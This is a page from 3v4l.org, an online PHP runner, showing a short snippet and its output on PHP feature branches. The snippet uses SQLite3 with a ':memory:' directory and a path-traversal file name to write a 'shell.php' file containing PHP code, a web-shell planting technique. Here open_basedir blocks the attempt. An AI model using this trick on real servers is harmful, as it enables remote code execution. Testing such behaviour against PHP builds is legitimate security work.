3v4l.org

run code in 300+ PHP versions simultaneously
<?php mkdir(':memory:'); $database = new SQLite3(":memory:/../../shell.php"); $database->exec("CREATE TABLE foo (bar STRING)"); $database->exec("INSERT INTO foo (bar) VALUES ('<?php phpinfo(); ?>')"); $database->close(); rmdir(':memory:'); ?>
Output for git.master_jit, git.master, rfc.property-hooks
Warning: mkdir(): open_basedir restriction in effect. File(:memory:) is not within the allowed path(s): (/tmp:/in:/etc) in /in/oZMtZ on line 2 Warning: SQLite3::__construct(): open_basedir restriction in effect. File(/shell.php) is not within the allowed path(s): (/tmp:/in:/etc) in /in/oZMtZ on line 3 Fatal error: Uncaught Exception: open_basedir prohibits opening /shell.php in /in/oZMtZ:3 Stack trace: #0 /in/oZMtZ(3): SQLite3->__construct(':memory:/../../...') #1 {main} thrown in /in/oZMtZ on line 3
Process exited with code 255.

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
45.07 ms | 402 KiB | 8 Q